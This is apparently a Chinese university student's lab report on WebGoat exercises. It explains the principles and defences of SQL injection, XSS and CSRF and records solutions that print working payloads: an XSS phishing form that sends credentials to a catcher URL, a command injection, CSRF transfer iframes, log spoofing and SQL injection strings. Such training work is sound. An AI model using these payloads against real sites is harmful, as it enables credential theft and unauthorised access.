Exp9 Web安全基础
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
一.实验后回答问题
(1)SQL注入攻击原理,如何防御
原理:
SQL注入是针对数据库的一种攻击方式。攻击者会将一些恶意代码插入到字符串中,将该字符串传递到SQLServer数据库的实例中进行分析和执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。
防御:
1>普通用户与系统管理员用户的权限要有严格的区分.
在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。
2>强迫使用参数化语句.
如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。
3>加强对用户输入的验证。
测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果.
(2)XSS攻击的原理,如何防御
原理:
XSS跨站脚本攻击,是Web程序中常见的漏洞,分三类,存储型XSS、反射型XSS、DOM-XSS.XSS属于被动式且用于客户端的攻击方式,攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
防御:
1>完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
2>Html encode
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>
,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>
在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
(3)CSRF攻击原理,如何防御
原理:
Cross-site+request+forgery跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,是一种对网站的恶意利用.
防御:
1>通过 referer、token或者验证码来检测用户提交。
2>尽量不要在页面的链接中暴露用户隐私信息。
3>对于用户修改删除等操作最好都使用post操作。
4>避免全站通用的cookie,严格设置cookie的域。
二.实验总结与体会
本次实验是最后一次了,每周一次的试验让我的大三下过得格外充实,也有了很多收获,不仅仅是理论知识,更多的是实践动手能力。网络对抗的实验真的很考验英语水平,让我意识到学好英语的重要性。这门课,对我今后的生活、工作都有很重要的作用,网络安全和我们的生活息息相关,而网络攻击手段多种多样,防不胜防,提高自己的网络安全意识尤为重要。很开心很充实的度过了一学期,感谢老师的指导与陪伴!
三.实践过程记录
webgoat安装启动
下载地址:https://github.com/WebGoat/WebGoat/releases
下载下来后将jar包放到kali中,输入指令
java -jar webgoat-container-7.0.1-war-exec.jar
(这个过程可真的是艰难啊!登陆之后没有显示左侧的内容,问了小组长才知道,因为kali里安装的JDK版本太高原因导致的。所以将原来的jdk卸载并重新安装jdk1.8,参考kali安装java1.8
但是官网上Linux 64 版JDK1.8下载不下来,发现有同学上传了一个可以使用的1.8版JDK ,感谢这位同学!)
在浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc
输入下方给出的用户名和密码即可登陆。
1.Phishing with XSS 跨站脚本钓鱼攻击
此题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码。
代码如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
将这段代码输入到输入框中:
点击search出现如下登录框,在登录框中输入用户名、密码:
2.Stored XSS Attacks 存储型XSS攻击
存储型XSS攻击是持久化的,代码是存储在服务器中的,用户访问该页面的时候触发代码执行。title任意输入,Message输入消息,嵌入一段js代码,用户点击后即可触发,
如在Message框中输入 script>alert("20164322 attack succeed!");</script> :
点击提交后弹出对话框,攻击成功!
3.Numberic SQL Injection
在station 字段中注入特征字符,组合成新的SQL 语句。
按F12进入调试界面,选择Inspect...
对源代码进行修改。在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1
。
输出如下所示:
4.Command Injection
(1)在下拉框上右击,点击 inspect Element 在 AccessControlMatrix.help后面加上 "& netstat -an"
选中修改后的值再点 view
显示内容如下:
5.CSRF Prompt By-Pass
此题包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器。查看页面右边Parameters中的src和menu值,并在title框中任意输入,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交后生成一个链接,点击后即可查看用户操作的信息,成功转出500,攻击成功!
6.Log Spoofing
在User Name文本框中输入 Smith%0d%0aLogin Succeeded for username: admin<script>alert(“20164322test”)</script> 达到欺骗登录效果:
可看到smith登录失败,admin登录成功.
7.LAB: SQL Injection
stage1:String SQL Injection
使用字符串SQL注入绕过认证,登陆Boss(“Neville”)的账号。
将password的最大长度maxlength改为20:
利用永真式,修改password=' or'1'='1,成功:
stage3:Numeric SQL Injection
用员工账号登陆,进入员工页面后再通过SQL注入来查看老板的账户信息,先用刚才的方法选择一名员工登录。从源代码中看一下在数据库中查找的方式,发现传递的参数是员工ID,想要调出老板账户信息,就得把老板排在id可以预测的位置,一般来说老板的工资都应该是最高的,所以把其中的value值改为 101 or 1=1 order by salary desc -- ,这样老板的信息就会被排到第一个:
点击viewprofile按键,可成功看到老板的账户: